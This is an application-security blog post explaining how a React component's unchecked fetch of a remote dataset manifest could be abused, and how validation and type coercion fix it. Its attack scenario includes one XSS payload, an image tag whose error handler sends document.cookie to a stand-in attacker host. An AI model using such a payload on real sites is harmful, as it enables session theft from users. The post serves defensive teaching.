Back to Blog
critical SEVERITY8 min read

How Unvalidated External Data Fetch happens in React and how to fix it

The Datasets.jsx component fetched a remote manifest from snapshots.qdrant.io and rendered its contents directly into React state without validating response status, JSON shape, or field types. A compromised or spoofed endpoint could have injected malicious payloads straight into the UI; the fix adds strict validation and type coercion before the data ever reaches the render tree.

O
By Orbis AppSec
Published September 7, 2026Reviewed September 7, 2026

Answer Summary

This is a case of unvalidated external data consumption (CWE-20 / CWE-829) in a React component, where Datasets.jsx fetched a remote JSON manifest and used it directly to populate UI state without checking response.ok, verifying the JSON was an array, or validating field types. The fix adds explicit status checks, array-type validation, per-item shape checks, and String()/Number() coercion on every field before it's stored in state, preventing malformed or malicious payloads from propagating into the render pipeline.

Vulnerability at a Glance

cweCWE-20 (Improper Input Validation), related CWE-829
fixAdded `response.ok` check, `Array.isArray()` validation, per-item shape/type guards in the filter, and explicit `String()`/`Number()` coercion when mapping dataset fields into state
riskMalicious or corrupted remote JSON (via MITM, DNS spoofing, or compromised CDN) can inject unexpected data types or structures into UI state, enabling XSS or UI corruption
languageJavaScript (React/JSX)
root cause`fetch('https://snapshots.qdrant.io/manifest-v1.16.0.json')` response was consumed as trusted, well-formed data with no status check, shape validation, or field-level sanitization
vulnerabilityUnvalidated External Data / Improper Input Validation on Fetched Content

Summary

The Datasets component in src/pages/Datasets.jsx pulls a live manifest of Qdrant vector datasets from https://snapshots.qdrant.io/manifest-v1.16.0.json and renders the results in the UI. The problem: the code trusted that remote JSON blindly — no HTTP status check, no verification that the payload was even an array, and no type checking on individual fields like name, size, or description before they were stored in React state and rendered. A single flag from Orbis AppSec's multi-agent scanner (V-001) at line 29 triggered a fix that adds real validation at every step of the data pipeline.

Introduction

The src/pages/Datasets.jsx file handles fetching and displaying a catalog of downloadable vector datasets for the application's dataset browser, but a flaw in the useEffect fetch logic created a security risk: the component assumed the external manifest would always return a well-formed array of clean objects, and used the values as-is.

Here's the original fetch logic:

const response = await fetch('https://snapshots.qdrant.io/manifest-v1.16.0.json');
const responseJson = await response.json();
const datasets = responseJson
  .filter((dataset) => {
    if (dataset.version === undefined) {
      return true;
    }
    // ... version comparison logic
  })
  .map((dataset) => {
    return {
      name: dataset.name,
      fileName: dataset.file_name,
      size: dataset.size,
      vectors: dataset.vectors,
      vectorCount: dataset.vector_count,
      description: dataset.description,
    };
  });
setDatasets(datasets);

Notice what's missing: there's no check that response.ok is true, no guarantee that responseJson is actually an array (calling .filter() on a non-array throws, or worse, silently misbehaves if it's array-like), and every field pulled off datasetname, file_name, size, vector_count, description — is used verbatim, whatever type it happens to be. If the manifest server returns an object instead of an array, a string instead of a number, or an HTML/script payload instead of plain text, that data flows straight into setDatasets() and from there into the rendered UI.

The Vulnerability Explained

The core issue is that this component treats a third-party, network-fetched JSON file as if it were internally generated, trusted data. That's a dangerous assumption for several reasons specific to this code path:

  1. No integrity or signature verification. The manifest is fetched from snapshots.qdrant.io with a plain fetch() call — no Subresource Integrity, no signature check, no pinned hash. If an attacker compromises that host, performs DNS spoofing, or executes a MITM attack on the connection, they control the exact JSON the app renders.

  2. No response status check. The original code called response.json() immediately, even on a 404, 500, or redirect-to-error-page response. Parsing an unexpected error payload as if it were the dataset manifest could produce confusing or exploitable downstream behavior.

  3. No shape validation. responseJson.filter(...) assumes responseJson is an array. A malicious or broken response returning {} or null would throw at runtime (denial of availability for this page) or, if it's an array-like object with unexpected getters, behave unpredictably.

  4. No field-level type enforcement. Fields like dataset.name, dataset.description, and dataset.file_name were passed straight into React state with whatever type the JSON contained — string, object, array, or undefined. If any of these values are later rendered without escaping (or interpolated into attributes, links, or dangerouslySetInnerHTML elsewhere in the dataset UI), attacker-controlled strings in fields like description become a vector for cross-site scripting.

Attack Scenario

Imagine an attacker who can intercept traffic to snapshots.qdrant.io (compromised DNS, malicious Wi-Fi hotspot, or a supply-chain compromise of the CDN hosting the manifest). They serve a modified manifest-v1.16.0.json where one dataset entry looks like:

{
  "name": "<img src=x onerror=fetch('https://evil.com/steal?c='+document.cookie)>",
  "file_name": "legit.snapshot",
  "size": "not-a-number",
  "vector_count": { "malicious": "object" },
  "description": "Free dataset!"
}

Before the fix, this object sails through .filter() (since dataset.version === undefined returns true) and .map() unmodified. dataset.name — an HTML string — ends up in datasets state exactly as-is. Depending on how the list is rendered downstream (e.g., without React's default escaping being bypassed via dangerouslySetInnerHTML, or via a library component that doesn't sanitize), this becomes a stored/reflected XSS vector triggered simply by visiting the Datasets page. Even without a downstream XSS sink, a non-string vector_count or size could break UI rendering logic that assumes numeric types, causing crashes or inconsistent display.

The Fix

The PR adds validation at every layer of the data pipeline in the fetch handler:

1. Validate the HTTP response before parsing:

const response = await fetch('https://snapshots.qdrant.io/manifest-v1.16.0.json');
if (!response.ok) {
  throw new Error(`Failed to fetch datasets manifest: ${response.status}`);
}
const responseJson = await response.json();

This ensures error pages, redirects, or unexpected status codes never get parsed as valid dataset data.

2. Validate the overall shape of the payload:

if (!Array.isArray(responseJson)) {
  throw new Error('Datasets manifest has an unexpected format');
}

This guards against the manifest returning an object, null, or a scalar instead of the expected array, failing loudly instead of silently misbehaving.

3. Validate each item's shape inside the filter:

.filter((dataset) => {
  if (typeof dataset !== 'object' || dataset === null || typeof dataset.name !== 'string') {
    return false;
  }
  if (dataset.version === undefined) {
    return true;
  }
  // ... version comparison logic
})

Any array entry that isn't a proper object, or whose name isn't a string, is dropped before it ever reaches the .map() step — closing off the injection vector at its earliest possible point.

4. Coerce every field to its expected type when mapping:

.map((dataset) => {
  return {
    name: String(dataset.name),
    fileName: String(dataset.file_name ?? ''),
    size: Number(dataset.size) || 0,
    vectors: dataset.vectors,
    vectorCount: Number(dataset.vector_count) || 0,
    description: String(dataset.description ?? ''),
  };
});

Instead of trusting dataset.file_name, dataset.size, dataset.vector_count, and dataset.description to already be the correct type, the fix explicitly coerces them with String() and Number(), with safe fallbacks (?? '', || 0) for missing or malformed values. This guarantees that whatever ends up in React state — and eventually the DOM — is a primitive of the expected type, not an arbitrary object or malformed value that could be exploited by a rendering component downstream.

Together, these four changes turn an implicit trust relationship with snapshots.qdrant.io into an explicit, defensive one: bad status codes are rejected, malformed payloads are rejected, malformed items are filtered out, and every remaining field is forced into a safe, predictable type before it touches application state.

Prevention & Best Practices

  • Never trust remote JSON structurally. Even over HTTPS, validate that the response is the shape you expect (Array.isArray, schema validation libraries like zod or io-ts) before using it.
  • Check response.ok on every fetch. Parsing error bodies as success payloads is a common source of subtle bugs and security issues.
  • Coerce and sanitize field types explicitly. Don't assume dataset.size is a number just because the API contract says so — enforce it with Number()/String() at the boundary where external data enters your app.
  • Consider integrity verification for critical external resources. Subresource Integrity (SRI), signed manifests, or pinned content hashes add a layer of defense if you can't fully trust the transport or origin server.
  • Escape/sanitize before rendering. Even with type coercion, if any dataset field is later rendered as raw HTML, run it through a sanitizer (e.g., DOMPurify) rather than relying solely on upstream validation.
  • Use static analysis to catch missing validation. Tools like Semgrep can flag fetch() calls whose .json() result flows into state/render without an intermediate validation step.

This aligns with OWASP's guidance on input validation (OWASP Input Validation Cheat Sheet) — the same principles that apply to form input and query parameters apply equally to data fetched from "trusted" third-party APIs.

Key Takeaways

  • Datasets.jsx no longer assumes the snapshots.qdrant.io manifest is a well-formed array — it now validates Array.isArray(responseJson) before processing.
  • Every dataset item must now have a string name to survive the .filter() step, closing off a path for non-object/malformed entries.
  • dataset.size, dataset.vector_count, dataset.file_name, and dataset.description are explicitly coerced with String()/Number() instead of trusted as-is, preventing type-confusion downstream.
  • Failed or non-ok HTTP responses now throw immediately instead of being parsed as valid manifest data.
  • Remote data sources — even ones you "trust" like a vendor's snapshot server — should be treated as untrusted input at the application boundary.

How Orbis AppSec Detected This

  • Source: The remote JSON response from fetch('https://snapshots.qdrant.io/manifest-v1.16.0.json') in src/pages/Datasets.jsx:29.
  • Sink: setDatasets(datasets), which feeds directly into the component's render output, and the .map()/.filter() chain that processed each dataset object's fields without type checks.
  • Missing control: No HTTP status validation, no array-shape validation, no per-field type checking or sanitization on data originating from an external, non-integrity-checked source.
  • CWE: CWE-20 (Improper Input Validation), related to CWE-829 (Inclusion of Functionality from Untrusted Control Sphere).
  • Fix: Added response.ok and Array.isArray checks, per-item shape validation in .filter(), and explicit String()/Number() coercion in .map() before storing dataset fields in state.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This fix is a good reminder that "external API" doesn't mean "trusted input." The Datasets component treated a remote manifest fetched over the network as inherently safe, well-typed data — an assumption that breaks down the moment that endpoint is compromised, spoofed, or simply returns something unexpected. By adding response status checks, array-shape validation, per-item guards, and explicit type coercion, src/pages/Datasets.jsx now defends against malformed or malicious manifest data at every stage before it reaches application state and the rendered UI. The lesson generalizes well beyond this one component: any time your app consumes JSON from a third party, validate the shape and coerce the types before you use it — don't let a remote server dictate what types and structures flow into your React state.

References

Frequently Asked Questions

What is unvalidated external data fetch vulnerability?

It occurs when an application retrieves data from a remote source (API, CDN, third-party server) and uses it directly without verifying its integrity, structure, or type, allowing malformed or malicious content to influence application behavior or rendering.

How do you prevent unvalidated external data fetch in React?

Always check the HTTP response status, validate the parsed JSON's shape (e.g., `Array.isArray`), guard each item's expected types before use, and coerce values with `String()`/`Number()` rather than trusting raw fields, especially before rendering to the DOM.

What CWE is unvalidated external data fetch?

It's typically classified under CWE-20 (Improper Input Validation), with CWE-829 (Inclusion of Functionality from Untrusted Control Sphere) relevant when the untrusted source is a remote endpoint without integrity checks.

Is HTTPS enough to prevent this kind of vulnerability?

No. HTTPS protects data in transit but does nothing if the origin server itself is compromised, misconfigured, or the response is malformed — you still need application-level validation of the response's structure and content.

Can static analysis detect unvalidated external data fetch?

Yes, tools like Semgrep and taint-tracking scanners can flag `fetch()`/`axios` calls whose response flows directly into state or the DOM without intermediate validation, though multi-agent AI review is better at catching missing type/shape checks specifically.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #439

Related Articles

medium

How Cross-Site Scripting Happens in JavaScript Parsers and How to Fix It

A cross-site scripting vulnerability in JSXGraph's JessieCode parser allowed attackers to inject JavaScript through maliciously crafted input that appeared in error messages. The fix ensures proper output encoding when user-controlled data is included in parser error reporting.

critical

How Cross-Site Scripting (XSS) happens in JavaScript sanitization functions and how to fix it

A critical XSS vulnerability was discovered in the `sanitizeInput()` function in script.js, where only angle brackets were being escaped while quotes, ampersands, and backticks remained unprotected. This incomplete sanitization allowed attackers to craft payloads using event handlers and template literals that bypassed the security controls entirely. The fix implements comprehensive HTML entity encoding for all XSS-relevant characters.

high

How DOM-based Cross-Site Scripting happens in JavaScript and how to fix it

A high-severity DOM-based XSS vulnerability in `public/audio_match_demo/index.html` allowed attackers to inject malicious JavaScript through manipulated song metadata from API responses. The fix replaces dangerous HTML string concatenation with secure DOM API methods that automatically escape content.

critical

How Cross-Site Scripting happens in fast-xml-parser and how to fix it

CVE-2026-25896 is a critical Cross-Site Scripting vulnerability in fast-xml-parser stemming from improper DOCTYPE entity handling, which could allow attackers to inject malicious scripts through crafted XML payloads. The fix upgrades the vulnerable dependency from version 4.4.1 to patched versions 5.3.5 and 4.5.4, eliminating the unsafe parsing behavior while preserving all legitimate XML processing functionality.

critical

How Unsandboxed iframe Content Injection happens in JavaScript and how to fix it

A critical vulnerability in `app-viewer/js/LupineVault.js` allowed attacker-controlled HTML fetched from an external CDN to execute scripts in the application's full origin context by injecting it directly into an iframe's `srcdoc` attribute without any sandbox restrictions. The fix adds a `sandbox` attribute to the iframe element, restricting what the injected content can do even if it contains malicious scripts. This prevents cross-site scripting and origin-context script execution that could

critical

How SQL Injection happens in PHP bulk email systems and how to fix it

A critical SQL injection vulnerability in `admin/utilities/bulkEmailSystem.php` allowed attackers to inject arbitrary SQL through unvalidated database names passed from user input. The fix implements strict input validation using regex pattern matching to ensure only safe database identifiers are processed, preventing exploitation of the bulk email functionality.